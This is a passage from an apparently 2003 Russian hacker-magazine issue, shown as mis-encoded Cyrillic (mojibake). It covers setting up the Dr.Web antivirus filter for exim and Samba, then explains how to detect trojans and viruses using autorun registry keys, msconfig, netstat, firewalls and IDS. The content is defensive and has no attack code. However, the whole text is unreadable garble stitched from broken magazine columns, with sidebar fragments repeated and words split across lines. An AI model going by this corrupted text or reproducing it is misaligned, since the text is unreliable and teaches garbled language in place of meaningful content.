òîðûõ ÿâëÿ-
åòñÿ smbd,
ðàçðåøàþ-
ùàÿ âõîä íà
ðàñøàðåí-
íûå ðåñóð-
ñû. Çëîó-
ìûøëåííèê
çàïðîñòî
ìîæåò çà-
ëèòü âèðóñ
÷åðåç ýòîò
ñåðâèñ è çà-
ïóñòèòü åãî
íà êëèåí-
òñêîé ìà-
øèíå... åñ-
ëè, êîíå÷íî,
drweb íå
áóäåò ñëå-
äèòü çà íèì
;).

endif

if not first_delivery
then
finish

endif

pipe "{/PATH/TO}/drweb-exim {CONF} -
f $sender_address -- $recipients"
finish 

## Ïðèìå÷àíèå: {CONF} - ïóòü ê êîí-
ôèãóðàöèîííîìó ôàéëó --
conf=/path/to/conf èëè âîîáùå íè÷å-
ãî, åñëè ôàéë íàõîäèòñÿ â /etc/drweb.
# {/PATH/TO} ñëåäóåò ïîìåíÿòü íà
àáñîëþòíûé ïóòü ê ñêðèïòó drweb-
exim 

Çàòåì çàïóñêàåì drweb-exim --
check_only è óäîñòîâåðèìñÿ, ÷òî âñå
ðàáîòàåò êàê íàäî. Íàïîñëåäîê ðåñòà-
ðòíåì exim è ïðîòåñòèðóåì ðàáîòîñïî-
ñîáíîñòü ôèëüòðà.

ÁÅÇÎÏÀÑÍÛÉ SMBD
Êàê ïðàâèëî, â ëîêàëêå îäíèì

ïî÷òîâûì ñåðâèñîì äåëî íå îãðàíè÷è-
âàåòñÿ. Àäìèíû ïîäíèìàþò ðàçëè÷-
íûå ñëóæáû, îäíîé èç êîòîðûõ ÿâëÿ-
åòñÿ smbd, ðàçðåøàþùàÿ âõîä íà ðàñ-
øàðåííûå ðåñóðñû.
Çëîóìûøëåííèê çàï-
ðîñòî ìîæåò çàëèòü
âèðóñ ÷åðåç ýòîò ñåð-
âèñ è çàïóñòèòü åãî
íà êëèåíòñêîé ìàøè-
íå... åñëè, êîíå÷íî,
drweb íå áóäåò ñëå-
äèòü çà íèì ;).

Èòàê, ñåé÷àñ ìû çà-
ùèòèì smbd îò ðàç-
íîñ÷èêîâ çàðàçû.
Äëÿ ýòîãî ñêà÷àåì
ìîäóëü ñ îôèöèàëü-
íîãî ñàéòà
(ftp://ftp.drweb.ru/
pub/unix/drweb-
samba-4.29.12-C-

linux.tar.gz). Êñòàòè, ýòîò êëèåíò ïîñ-
òàâëÿåòñÿ ñ source-code, ïîýòîìó ìî-
æåøü çàêà÷àòü âåðñèþ, êîòîðóþ ïðè-
äåòñÿ êîìïèëèòü
(ftp://ftp.drweb.ru/pub/unix/drweb-
samba-4.29.12-C-sources.tar.gz). Êàê
îáû÷íî, ðàñêèäûâàåì êîíôèã ìîäóëÿ,
à òàêæå íóæíóþ áèáëèîòåêó â $BIN-
PATH/lib. Âûáîð áèáëèîòåêè çàâèñèò
îò âåðñèè äåìîíà.

Âåðñèþ smbd ìîæíî óçíàòü, íàáðàâ
smbd -V. Ïîñëå âûáîðà íóæíîé ëèáû,
ñêîïèðóé åå â óêàçàííóþ âûøå äèðåê-
òîðèþ è ñäåëàé ëèíê íà smb_spider.so
(äëÿ óäîáñòâà) êîìàíäîé ln -s smb_spi-
der.so.X smb_spider.so.

Ñëåäóþùèì øàãîì áóäåò ðåäàêòèðî-
âàíèå smb_spider.conf. Òàì ñëåäóåò
óêàçàòü ìåòîä ïåðåõâàòà, îñòàëüíûå
îïöèè íå îòëè÷àþòñÿ îò îïèñàííûõ
ðàíåå. Ìåòîä ìîæåò áûòü onAccess
(ïðè ëþáîì èçìåíåíèè ôàéëà è åãî
îòêðûòèè), onRead (òîëüêî ïðè îòêðû-
òèè) è onWrite (ïðè ìîäèôèêàöèè). Îñ-
òàëüíûå ïàðàìåòðû íå îòëè÷àþòñÿ îò
èçëîæåííûõ âûøå.

Íàïîñëåäîê èçìåíèì
/etc/samba/smb.conf (èëè äðóãîå åãî
ìåñòîïîëîæåíèå). Ïóñòü òàì ñóùåñò-
âóåò ðåñóðñ [shared], êîòîðûé ñëåäóåò
ïðîâåðÿòü íà âèðóñû.

È â äîâåðøåíèè âûïîëíèì êîìàíäó
service smb reload, ÷òîáû ïåðå÷èòàòü
êîíôèã.

Òåïåðü ïðîâåðÿåì. Êîííåêòèòèìñÿ íà
smb:

# smbclient //127.0.0.1/shared -U root
Password:
Domain=[Domain] OS=[Unix]
Server=[Samba ALT/2.2.7]
smb: \> put viruzz.exe
putting file viruzz.exe as \editor.dll
NT_STATUS_UNSUCCESSFUL closing
remote file \viruzz.exe
smb: \>

Êàê âèäèì, âñå ðàáîòàåò. Ïðè ïðî÷òå-
íèè ëîãà òû óçíàåøü ïîäðîáíîñòè ðå-
àêöèè smb_spider.so íà çàðàçó.   A
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Íåáîëüøîé ìàíóàë ïî èíòåãðàöèè

Äîáàâëÿåì ïóòü ê vfs ìîäóëþ

Äîáàâëÿåì ïóòü ê vfs ìîäóëþ





Òðîÿíû, â
îòëè÷èå îò
âèðóñîâ,
îáû÷íî íå
íàíîñÿò
ñèñòåìå
îñîáîãî
âðåäà. Ó
íèõ äðóãàÿ
ôóíêöèÿ -
ïåðåñëàòü
ëè÷íóþ èí-
ôîðìàöèþ ñ
êîìïüþòåðà
æåðòâû â
ðóêè çëîó-
ìûøëåííè-
êà. Äåëàþò
îíè ýòî íå-
çàìåòíî è
âåñüìà èñ-
êóñíî.

Ðåàëüíûé
âèðóñ ïðî-
íèêàåò â
îðãàíèçì è
ïîòèõîíüêó
çàðàæàåò
åãî êëåòêè.
Â ïåðâûå
äíè ÷åëîâåê
äàæå íå
÷óâñòâóåò
ïðèñóòñòâèÿ
çàðàçû, íî
÷åðåç íåêî-
òîðîå âðåìÿ
âèðóñ íà÷è-
íàåò àêòèâ-
íî ïðîÿâ-
ëÿòü ñåáÿ è
ãóáèòåëüíî
âîçäåéñòâî-
âàòü íà
æèçíåííî
âàæíûå îð-
ãàíû.
Ýëåêòðîí-
íûé âèðü
âìåñòî êëå-
òîê ïîðàæà-
åò... ïðà-
âèëüíî,
ôàéëû! 

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Â íàøè äíè êîìïüþòåðíûìè âèðóñàìè íèêîãî íå óäèâèøü. Áîëåå òîãî, íàâåðíîå, êàæäûé ïî íåîñòîðîæíîñòè (èëè ïî
íåâíèìàòåëüíîñòè) çàðàæàë ñâîþ ñèñòåìó. Ñàìîå îáèäíîå, ÷òî ýëåêòðîííàÿ çàðàçà íèêîãäà íå âûäàåò ñåáÿ, à ìîë÷à

äåëàåò ñâîå ÷åðíîå äåëî íà áåççàùèòíîì êîìïüþòåðå æåðòâû...

ÍÀÉÄÅÌ 
È ÎÁÅÇÂÐÅÄÈÌ!
ÊÀÊ ÎÁÍÀÐÓÆÈÒÜ ÇÀÐÀÇÓ Â ÑÈÑÒÅÌÅ

îäíîé ñòîðîíû, òàê è
äîëæíî áûòü. Êàê è
îáû÷íûå âèðóñû,
êîìïüþòåðíûå âåäóò
íåâèäèìûé äëÿ ïîëüçî-

âàòåëÿ îáðàç æèçíè. Ýòî äåéñòâèòåëü-
íî òàê, ñóäè ñàì: ðåàëüíûé âèðóñ ïðî-
íèêàåò â îðãàíèçì è ïîòèõîíüêó çàðà-
æàåò åãî êëåòêè. Â ïåðâûå äíè ÷åëî-
âåê äàæå íå ÷óâñòâóåò ïðèñóòñòâèÿ çà-
ðàçû, íî ÷åðåç íåêîòîðîå âðåìÿ âèðóñ
íà÷èíàåò àêòèâíî ïðîÿâëÿòü ñåáÿ è ãó-
áèòåëüíî âîçäåéñòâîâàòü íà æèçíåí-
íî âàæíûå îðãàíû. Ýëåêòðîííûé âèðü
âìåñòî êëåòîê ïîðàæàåò... ïðàâèëüíî,
ôàéëû! Ìåòîäèêè ñàìîðàçìíîæåíèÿ
çàðàçû ðàçëè÷íû: î íèõ ðàññêàçûâàåò-
ñÿ â äðóãèõ ñòàòüÿõ ýòîãî âûïóñêà.

ÇÀÐÀÇÀ ÁÛÂÀÅÒ ÐÀÇÍÎÉ...
×òîáû âî âðåìÿ ÷òåíèÿ ýòîé

ñòàòüè íå âîçíèêëî ïóòàíèöû, ñëåäóåò
îêîí÷àòåëüíî îïðåäåëèòüñÿ, êàêèå
âèäû îïàñíûõ ýêçåìïëÿðîâ ìû áóäåì
ðàññìàòðèâàòü. Åñëè ïîðûòüñÿ íà ñàé-
òàõ ïî âèðóñîëîãèè, òî ìîæíî íàéòè
íåñêîëüêî îïðåäåëåíèé ïîíÿòèÿ "âè-
ðóñ". Âñå îíè ñâîäÿòñÿ ê òîìó, ÷òî âè-
ðè çàíîñÿòñÿ â ñèñòåìó, à çàòåì ÷åðåç
êàêîé-òî ïðîìåæóòîê âðåìåíè (èëè
ñðàçó) íà÷èíàþò çàðàæàòü îïðåäå-
ëåííûå òèïû ôàéëîâ. Òàêèå "ýêçåìï-
ëÿðû" ïîÿâèëèñü î÷åíü äàâíî - åùå
äî ðîæäåíèÿ Ñåòè. Îíè äî ñèõ ïîð ïè-
øóòñÿ, è ìåòîäû èõ ðàçìíîæåíèÿ ñî-
âåðøåíñòâóþòñÿ ñ êàæäûì ãîäîì.

Íî ñ ïîÿâëåíèåì âîçìîæíîñòè âûõî-
äà â Ñåòü, âîçíèêàåò íîâûé âèä çàðà-
çû - òðîÿíû. Òðîÿíû, â îòëè÷èå îò âè-
ðóñîâ, îáû÷íî íå íàíîñÿò ñèñòåìå
îñîáîãî âðåäà. Ó íèõ äðóãàÿ ôóíêöèÿ
- ïåðåñëàòü ëè÷íóþ èíôîðìàöèþ ñ
êîìïüþòåðà æåðòâû â ðóêè çëîóìûø-
ëåííèêà. Äåëàþò îíè ýòî íåçàìåòíî è
âåñüìà èñêóñíî. Êàê òîëüêî òðîÿí óñ-
òàíàâëèâàåòñÿ íà ìàøèíó óøàñòîãî
þçåðà, îí âûáèðàåò äëÿ ñåáÿ îäèí èç
äâóõ ïóòåé ñâîåãî ñóùåñòâîâàíèÿ:

1. Âûïîëíèâ îäèíî÷íóþ ôóíêöèþ
(íàïðèìåð, âûñûëêà ïàðîëåé íà e-mail õà-
êåðà), çàðàçà ñàìà ñåáÿ óíè÷òîæàåò. Ïðè
ýòîì þçåð âîîáùå ìîæåò íå óçíàòü î

òîì, ÷òî îí çàïóñòèë ÷òî-òî íå òî (åñëè,
êîíå÷íî, íà ÏÊ íå áóäåò óñòàíîâëåí ôà-
åðâîë =)).
2. Ïðîïèñûâàåò ñåáÿ â ñèñòåìå íà

ïîñòîÿííîå ìåñòîæèòåëüñòâî. Òðîÿí
ëèáî ðåãóëÿðíî ñëåäèò çà ïîðòîì, ëè-
áî äåëàåò çëîâðåäíûå âåùè (ê ïðèìå-
ðó, ðàç â íåäåëþ îòñûëàåò äàìï âñåõ
êëàâèø íà e-mail çëîóìûøëåííèêà).
Îáíàðóæèòü òàêóþ çàðàçó â íåñêîëü-
êî ðàç ëåã÷å, ÷åì â ïåðâîì ñëó÷àå.

Â ýòîé ñòàòüå ÿ ïîñòàðàþñü ïîäðîáíî îñ-
âåòèòü ìåòîäû çàùèòû êàê îò âèðóñîâ,
òàê è îò òðîÿíîâ. Ïðè ýòîì íå áóäó çàîñò-
ðÿòü âíèìàíèå íà âèäàõ çàðàçû, ñ ïî-

Ñ

ÇÀÙÈÒÀ    ÍÀÉÄÅÌ È ÎÁÅÇÂÐÅÄÈÌ!94
Â

È
Ð

Ó
Ñ

Û

ÕÀÊÅÐÑÏÅÖ    10(35)   2003

Ñåðâåðíàÿ ÷àñòü èçâåñòíîãî òðîÿíà

"Ñìåðòü ëàìåðà"
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ìîùüþ ïðèâåäåííîé âûøå êëàññèôèêàöèè òû ñàì ïîéìåøü, î
÷åì èäåò ðå÷ü.

ÍÀÕÎÄÈÌ È ÓÄÀËßÅÌ!
Íåñìîòðÿ íà íåïîõîæåñòü âèðóñà è òðîÿíà, ó íèõ åñòü

îäíà îáùàÿ ÷åðòà. Çàðàçà âñåãäà ïûòàåòñÿ ïðîïèñàòü ñåáÿ
â àâòîçàïóñê. Èíûìè ñëîâàìè, ÷òîáû ïðîãðàììà ìîãëà
ïîäãðóçèòüñÿ â ïàìÿòü ïðè ñòàðòå êîìïà, îíà çàíîñèò ñåáÿ
â ðàçäåëû ðååñòðà. Òàêèõ ðàçäåëîâ ìîæåò áûòü íåñêîëüêî.
Ðàçðàáîò÷èêè Microsoft ïîçàáîòèëèñü î ïîëüçîâàòåëå è
ïðèäóìàëè õîðîøóþ óòèëèòó msconfig, êîòîðàÿ ñóùåñòâóåò
ïî÷òè âî âñåõ âåðñèÿõ îêîøåê (çà èñêëþ÷åíèåì win95 è
win2000). Ïðèâëåêàòåëüíîñòü ýòîé ñèñòåìíîé ïðîãðàììû â
òîì, ÷òî îíà îáúåäèíÿåò âñå âêëàäêè ðååñòðà, ïàïêó àâòî-
çàãðóçêè è ïîêàçûâàåò ïîëüçîâàòåëþ èíôîðìàöèþ îáî
âñåõ çàïóñêàåìûõ ïðîãðàììàõ.

Òàêèì îáðàçîì, ÷òîáû óçíàòü, ñóùåñòâóåò ëè çàðàçà â òâîåé
ñèñòåìå, äîñòàòî÷íî çàéòè â ìåíþ "Ïóñê", íàæàòü ìûøêîé

íà ïóíêò "Âûïîëíèòü" è íàïèñàòü "msconfig". Íàñ èíòåðåñó-
åò âêëàäêà "Àâòîçàïóñê", â êîòîðîé ðîâíîé òàáëèöåé âûïè-
ñàíû âñå ïðèëîæåíèÿ, ñòàðòóåìûå ïðè çàïóñêå ñèñòåìû.
Ñòîèò çàìåòèòü, ÷òî òðîÿíû è âèðóñû ðåäêî êîãäà íàçûâàþòñÿ
"íåêðàñèâûì" èìåíåì. Êàê ïðàâèëî, ýëåêòðîííàÿ çàðàçà ïå-
ðåèìåíîâûâàåòñÿ â áåçîáèäíîãî âèäà ïðîãðàììó ñî çâó÷íûì
íàçâàíèåì è ëèøü çàòåì ïðîïèñûâàåò ñåáÿ â àâòîçàïóñê. Ïî-
ýòîìó äëÿ òîãî, ÷òîáû áûñòðî ñîðèåíòèðîâàòüñÿ â ýòîì ñïèñêå
è îáíàðóæèòü òðîÿíà, òû äîëæåí òî÷íî çíàòü, êàêèå ïðèëîæå-
íèÿ â òâîåé ñèñòåìå çàñëóæèâàþò äîâåðèÿ.
Êàê ÿ óæå ãîâîðèë, ïðîãðàììà msconfig ïðèñóòñòâóåò íå âî
âñåõ äèñòðèáóòèâàõ. Åñëè òû ñ÷àñòëèâûé îáëàäàòåëü Windows
2000, òî òû íå ñìîæåøü âîñïîëüçîâàòüñÿ óñëóãàìè ýòîãî ïðè-
ëîæåíèÿ. Â ýòîì ñëó÷àå ó òåáÿ åñòü äâà âàðèàíòà: ëèáî êà÷àòü
ïîäîáíûé ñîôò, êîòîðûé ïðîâåðÿåò âåòêè ðååñòðà íà ïðåäìåò
àâòîçàïóñêà ïðîãðàìì (òàêîãî ÏÎ î÷åíü ìíîãî), ëèáî îáðà-
òèòüñÿ ê ñèñòåìíîìó ðååñòðó ðåäàêòîðîì regedit. Âî âòîðîì
ñëó÷àå, òåáÿ èíòåðåñóþò âåòêè HKEY_LOCAL_MACHINE\SOFT-
WARE\Microsoft\Windows\CurrentVersion\Run RunOnce,
RunOnceEx, à òàêæå HKEY_CURRENT_USER\..\Run,
HKEY_USERS\..\Run è HKLM\Software\Microsoft\Windows\
CurrentVersion\Explorer\ (òóäà òðîé ìîæåò ïðîïèñàòüñÿ â çíà-
÷åíèå ïàðàìåòðà User Shell Folders Common Startup). Èìåííî
òàì õðàíÿòñÿ íàçâàíèÿ ïðèëîæåíèé, çàïóñêàåìûå âî âðåìÿ
ñòàðòà òâîåé îïåðàöèîíêè.

Íî ïîìíè, ÷òî âèðóñû ìîãóò çàðàçèòü ñèñòåìíûå óòèëèòû, â
òîì ÷èñëå msconfig è regedit. Íà ëè÷íîì ïðèìåðå ñêàæó,
÷òî îäíàæäû ÿ ïîäõâàòèë çàðàçó, êîòîðàÿ ïðîñòî óäàëèëà
ýòè æèçíåííî âàæíûå ïðèëîæåíèÿ èç ñèñòåìû. Ïîýòîìó
âñåãäà èìåé ðåçåðâíûå êîïèè ïðîãðàìì, òèïà msconfig,
÷òîáû ìîæíî áûëî â ëþáîé ìîìåíò ïðîâåðèòü ñâîþ ÎÑ.

Òåìà àâòîçàïóñêà î÷åíü îáøèðíà è ìîæåò îáñóæäàòüñÿ äî-
âîëüíî äîëãî. Äåëî â òîì, ÷òî ýëåêòðîííàÿ çàðàçà ñïîñîá-
íà ïðåäñòàâèòü ñåáÿ ñåðâèñîì è ïðîïèñàòüñÿ óæå â äðóãîì
ñèñòåìíîì ñïèñêå. Â ýòîì ñëó÷àå îáíàðóæèòü åå ñòàíîâèò-
ñÿ ñëîæíåå. Ñóùåñòâóåò ìåòîä çàïóñêà, ñîãëàñíî êîòîðîìó
ïðîãðàììà âûäàåò ñåáÿ çà ñêðèíñåéâåð. Â ýòîì ñëó÷àå îí
íå ïîÿâèòñÿ â äèñïåò÷åðå çàäà÷ è ñêðîåòñÿ îò ãëàç ëþáî- »

Îáíàðóæèâàåì ÷óæîãî ñðåäè ñâîèõ



ß ëè÷íî çíàë
÷åëîâåêà,
êîòîðûé ïå-
ðåøåë íà
Linux è äîëãî
ñìåÿëñÿ íàä
ïðîáëåìîé
âèðóñîâ â
âèíäå. Åñòå-
ñòâåííî, ÷òî
î ñîáñòâåí-
íîé áåçîïàñ-
íîñòè îí äà-
æå íå çàäó-
ìûâàëñÿ, ïî-
êà çà ýòî íå
ïîïëàòèëñÿ.
Çàïóñòèâ ïîð
ðóòîì êàêîé-
òî íàâîðî-
÷åííûé
ýêñïëîèò ïîä
âñå ïëàò-
ôîðìû ;), ãî-
ðå-õàêåð ëè-
øèëñÿ ñèñòå-
ìû çà íåñ-
êîëüêî äíåé.

ïûòíîãî ïîëüçîâàòåëÿ. Êàê òû, íàâåð-
íîå, ïîíÿë, âèðóñû è òðîÿíû ðåäêî
êîãäà ñâåòÿòñÿ â ñïèñêå ïðîöåññîâ,
îáîéòè êîòîðûé äîâîëüíî ïðîñòî (âî
âñÿêîì ñëó÷àå, â win9x).

ÊÒÎ ÑÒÓ×ÈÒÑß Â ÏÎÐÒ
ÊÎ ÌÍÅ?

Ïîãîâîðèì î òðîÿíàõ. Åñëè ñ èõ
îáíàðóæåíèåì ïðèäåòñÿ ïîïîòåòü, òî
ïðåñå÷ü èõ äåÿòåëüíîñòü ìîæíî áåç
ïðîáëåì. Êàê ïðàâèëî, ëþáîé òðîÿí
ëèáî îòñûëàåò äàííûå î ñèñòåìå â
ãëîáàë (÷àùå âñåãî íà e-mail), ëèáî
îòêðûâàåò ïîðò, ïîñëå ÷åãî çëîóìûø-
ëåííèê ìîæåò ïîäñîåäèíèòüñÿ ê îïå-
ðàöèîíêå è ñäåëàòü âñå, ÷òî åãî èíòå-
ðåñóåò. Ñåé÷àñ ìû ïîïðîáóåì îáíàðó-
æèòü ïðèñóòñòâèå òðîÿíà.

Îòêðîé êîìàíäíûé èíòåðïðåòàòîð
(cmd.exe èëè command.com) è íàïèøè
â íåì êîìàíäó netstat -an. Ïðîãðàììà
âûäàñò â îòâåò ñïèñîê ïîðòîâ, êîòî-
ðûå ëèñòàþòñÿ â ñèñòåìå, à òàêæå àä-
ðåñà, ïîäêëþ÷èâøèåñÿ ê òâîåìó
êîìïüþòåðó. Ýòî î÷åíü óäîáíî, à ó÷è-
òûâàÿ, ÷òî òðîÿí íå çàðàæàåò ñëóæåá-
íûå óòèëèòû, îáíàðóæèòü åãî ïðèñóò-
ñòâèå ìîæåò ëþáîé æåëàþùèé (õîòÿ
ýòî è íå âñåãäà òàê - áûâàåò è êîìáè-
íèðîâàííàÿ çàðàçà, êîòîðàÿ ìîäèôè-
öèðóåò áèíàðíèêè è çàòåì îòêðûâàåò
ïîðò).

Íàãëÿäíûé ïðèìåð. Ïóñòü netstat ïî-
êàçàë òåáå ñòðîêó ñëåäóþùåãî âèäà:

TCP    212.220.32.43:31331       
80.78.99.116:31337        
ESTABLISHED

Ýòî îçíà÷àåò, ÷òî
â ñèñòåìå îòêðûò
31337 ïîðò è ê íå-
ìó ïðèñîåäèíèëñÿ
íåïðèÿòåëü ñ àä-
ðåñîì
212.220.32.43.
Ïîñëå îáíàðóæå-
íèÿ òàêîé ñòðîêè
òåáå ñëåäóåò íå-
ìåäëåííî âûéòè
èç Ñåòè è íà÷àòü
ïîèñê òðîÿíà, êî-
òîðûé ñëåäèò çà
îòêðûòûì ïîðòîì.
Âîîáùå, ñèñòåì-
íûìè óòèëèòàìè
ëåãêî ïîëüçîâàòü-
ñÿ ëèøü â òîì
ñëó÷àå, åñëè òû
óæå íàáèë ðóêó.
Êîíå÷íî, ÷åëîâåê, êîòîðûé ïåðâûé
ðàç ñòîëêíóëñÿ ñ êîìàíäîé netstat, íå
óâèäèò â åå âûâîäå íè÷åãî ïîëåçíîãî.
Â ýòîì ñëó÷àå òåáå ïîìîãóò... íàøè
äîáëåñòíûå ïðîãðàììèñòû.

Äåëî â òîì, ÷òî ìû æèâåì â òàêîå
âðåìÿ, êîãäà ðåäêî íàéäåøü ÷åëîâåêà
áåç ïåðñîíàëüíîãî ôàåðâîëà â ñâîåé
ñèñòåìå. Òàêèå ïðîãðàììû çàùèùàþò
êîìïüþòåð îò íåçàêîííîãî ïðîíèêíî-
âåíèÿ çàðàçû. Îíè ìîãóò áûòü êàê
î÷åíü ïðîñòûìè (ZoneAlarm), òàê è äî-
âîëüíî ñëîæíûìè (íàïðèìåð, Sygate).
Íî ëþáîé ôàåðâîë íèêîãäà íå ïðî-
ïóñòèò ïðèëîæåíèå â èíòåðíåò áåç
ñîãëàñèÿ ïîëüçîâàòåëÿ. Ïîýòîìó âû-
áåðè äëÿ ñåáÿ ïîäõîäÿùóþ ñîôòèíó,
è òû íàâñåãäà îáåçîïàñèøü ñåáÿ îò
çàðàçû.

ÀÍÒÈÂÈÐÓÑÛ 
ÍÀ ÑÒÐÀÆÅ ÏÎÐßÄÊÀ

Ñ îäíèì ðàçîáðàëèñü. Òåïåðü
ïðèøëî âðåìÿ ïîãîâîðèòü î âèðóñàõ.
Â íàøå âðåìÿ îáíàðóæèòü ãðàìîòíî
íàïèñàííûé âèðóñ íåâîîðóæåííûì
âçãëÿäîì êðàéíå òðóäíî, ÿ áû äàæå
ñêàçàë, ïðàêòè÷åñêè íåâîçìîæíî. Ýòî
ñâÿçàíî ñ î÷åíü ñëîæíûìè àëãîðèò-
ìàìè çàðàæåíèÿ ñèñòåìû, êîòîðûå èñ-
ïîëüçóåò çëî-ïðîãðàììà. Íî âìåñòå ñ
âèðÿìè ðàçâèâàþòñÿ è àíòèâèðóñû,
êîòîðûõ î÷åíü ìíîãî.

Êàê ïðàâèëî, âñå àíòèâèðóñû ïîñòàâ-
ëÿþòñÿ äâóìÿ ãëàâíûìè ïðèëîæåíèÿ-

ìè: ñîáñòâåííî ïðîãðàììà, ïðîâåðÿþ-
ùàÿ âñå ñèñòåìíûå ôàéëû ïî áîëü-
øîé áàçå, è ìîíèòîð, êîòîðûé ñïîñî-
áåí ïåðåõâàòûâàòü ýëåêòðîííóþ çàðà-
çó ïðÿìî ïðè åå çàïóñêå (íà ëåòó).

Ïðîâåðåííûìè è íàäåæíûìè àíòèâè-
ðóñàìè, êàê âñåãäà, ÿâëÿþòñÿ AVP è
DrWeb. Îíè óñòàíîâëåíû íà êîìïüþ-
òåðàõ ó áîëüøèíñòâà ïîëüçîâàòåëåé
è ïîñòîÿííî îáíîâëÿþòñÿ. Êðîìå òîãî,
ëþáîé óâàæàþùèé ñåáÿ ïåðåõâàò÷èê
çàðàçû ïîñòîÿííî ñêàíèðóåò îïåðà-
òèâíóþ ïàìÿòü íà ïðåäìåò ïðèñóò-
ñòâèÿ â íåé âèðóñà. Åñëè ýòîãî íå äå-
ëàòü, âèðü ìîæåò çàïðîñòî çàðàçèòü
ñàì àíòèâèðóñ, ïîñëå ÷åãî ïðîãðàììà
íå ñìîæåò âûïîëíÿòü ñâîè ôóíêöèè.
Êàê ÿ óæå ãîâîðèë, â íàøå âðåìÿ ñó-
ùåñòâóåò î÷åíü ìíîãî ðàçíûõ àíòè-
âèðóñîâ. Ó âñåõ èìåþòñÿ ñâîè ïëþñû
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Ìíîãèå âèðóñû ïîçâîëÿþò èçëå÷èòü áèíàðíèêè îò çàðàçû. Íî ñ
ýòèì ñâÿçàíî îäíî îñëîæíåíèå. Êàê ïðàâèëî, àíòèâèðü ïûòàåòñÿ
óáðàòü çàïèñè çàðàçû èç èñïîëíÿåìîãî ôàéëà. Íî ýòî íå âñåãäà
òàê. Áûâàåò, ÷òî ïðîãðàììà ïðîñòî çàïèñûâàåò íîâûé áëîê êîäà â
áèíàðíèê, òåì ñàìûì... óâåëè÷èâàÿ åãî ðàçìåð. ß ñàì ñòîëêíóëñÿ ñ
ýòîé ïðîáëåìîé: êîãäà ÿ ëå÷èë Linux îò èçâåñòíîãî âèðÿ, îáùèé âåñ
áèíàðíèêîâ ïîñëå ëå÷åíèÿ óâåëè÷èëñÿ àæ íà 300 ìåãàáàéò. Â èòî-
ãå ÿ çàäàëñÿ âîïðîñîì - íå ïðîùå ëè ïåðåóñòàíîâèòü ñèñòåìó, ÷åì
èäòè íà òàêîå ëå÷åíèå?

ÑËÎÆÍÎÑÒÈ Ñ ËÅ×ÅÍÈÅÌ ÎÒ ÂÈÐÓÑÎÂ

Ñèìïàòè÷íûé ôåéñ àíòèâèðÿ AVP

Ïîìèìî ñîôòà, êîòîðûé ïðîâåðÿåò ñèñòåìó íà íàëè÷èå çàðàçû,
ñóùåñòâóþò ïàêåòû IDS (Intrusion Detection System). Çàãðóæàåìûå
â ÿäðî ìîäóëè ñëåäÿò çà ñîáûòèÿìè â ñèñòåìå. Ïðè îïðåäåëåííûõ
íàñòðîéêàõ, ìîäóëü íå ïîçâîëèò çàãðóçèòü â ÿäðî ðóòêèò. Âîîáùå,
ïðàâèëüíî íàñòðîèòü IDS - î÷åíü ñëîæíàÿ çàäà÷à, è ñäåëàòü ýòî ìî-
æåò ëèøü âåñüìà ãðàìîòíûé àäìèíèñòðàòîð. Ïðèìåðàìè òàêèõ ñèñ-
òåì ÿâëÿþòñÿ èçâåñòíûå ïðîåêòû LIDS (www.lids.org/download/lids-
0.11.0-2.2.20.tar.gz) è NIDS (www.scaramanga.co.uk/firestorm/
v0.5.3/firestorm-0.5.3.tar.gz).
Åñëè òåáå ñòàëî èíòåðåñíî, ìîæåøü ïðî÷èòàòü ïðî íàñòðîéêó LIDS
íà èçâåñòíîì ïðîåêòå www.opennet.ru/docs/RUS/lids/lids1.html.

ÑËÎÂÎ ÎÁ IDS

Netstat ðàññêàæåò âñå î òâîèõ ïîðòàõ!



è ìèíóñû. Ïîýòîìó ñïåöèàëüíî äëÿ òåáÿ ìû ïîäãîòîâèëè
íåáîëüøîé òåìàòè÷åñêèé îáçîð òàêèõ ïðîãðàìì. Ïîñëå åãî
ïðî÷òåíèÿ òû ñìîæåøü âûáðàòü äëÿ ñåáÿ îïòèìàëüíûé ïî
âîçìîæíîñòÿì àíòèâèðóñ è âñåãäà áûòü â îòíîñèòåëüíîé
áåçîïàñíîñòè ;).

LINUX'ÎÂÛÅ ÑÒÐÀÑÒÈ
Åñëè ñ Windows âñå äîâîëüíî ïðîñòî, òî â *nix-like ñèñ-

òåìàõ ñ áåçîïàñíîñòüþ âñå íàìíîãî ñëîæíåå. Ïîä ýòè îïå-
ðàöèîíêè òàêæå èìåþòñÿ ñâîè âèðóñû è òðîÿíû. Êàçàëîñü
áû, ñ òàêîé ïîëèòèêîé áåçîïàñíîñòè, êàê â Linux, íèêàêîé
âèðóñ íå ñïîñîáåí ïîðàçèòü ñèñòåìó, íî ìíîãèå äî ñèõ ïîð
çàïóñêàþò ïîä ñóïåðïîëüçîâàòåëåì âðåäîíîñíûå ïðîãðàì-
ìû, òåì ñàìûì çàðàæàÿ ñâîþ îïåðàöèîíêó. Ïîýòîìó åñëè òû
íå óâåðåí â òîì, ÷òî ôàéë íå ïðè÷èíèò ñèñòåìå âðåäà, íè-
êîãäà íå çàïóñêàé åãî ïîä root-ïðàâàìè (à ëó÷øå âîîáùå
íå ýêñïåðèìåíòèðîâàòü ñ òàêèì çàïóñêîì). ß ëè÷íî çíàë ÷å-
ëîâåêà, êîòîðûé ïåðåøåë íà Linux è äîëãî ñìåÿëñÿ íàä
ïðîáëåìîé âèðóñîâ â âèíäå. Åñòåñòâåííî, ÷òî î ñîáñòâåí-
íîé áåçîïàñíîñòè îí äàæå íå çàäóìûâàëñÿ, ïîêà çà ýòî íå
ïîïëàòèëñÿ. Çàïóñòèâ ïîð ðóòîì êàêîé-òî íàâîðî÷åííûé
ýêñïëîèò ïîä âñå ïëàòôîðìû ;), ãîðå-õàêåð ëèøèëñÿ ñèñòå-
ìû çà íåñêîëüêî äíåé. Êàê îêàçàëîñü ïîçæå, îí àêòèâèðî-
âàë îäèí èç îïàñíûõ âèðåé, êîòîðûé äîïèñûâàë ñåáÿ â ELF-
áèíàðíèêè íåñêîëüêî ðàç â äåíü, à ÷åðåç íåäåëþ äåëàë çàã-
ðóçêó ÎÑ íåâîçìîæíîé.

Ìîðàëü ñåé áàñíè: âèðóñû ïîä Linux âñåãäà ñóùåñòâîâàëè è
ñóùåñòâóþò äî ñèõ ïîð. Êðîìå òîãî, òàêàÿ çàðàçà íå ïîùà-
äèò òâîþ ñèñòåìó, à èçìåíèò â íåé âñå áèíàðíûå ôàéëû.
Ëå÷åíèå àíòèâèðóñîì, êîíå÷íî, âîçìîæíî, íî ñ ýòèì ñâÿçàí
ðÿä îñëîæíåíèé, î êîòîðûõ ìû ïîãîâîðèì ÷óòü íèæå.

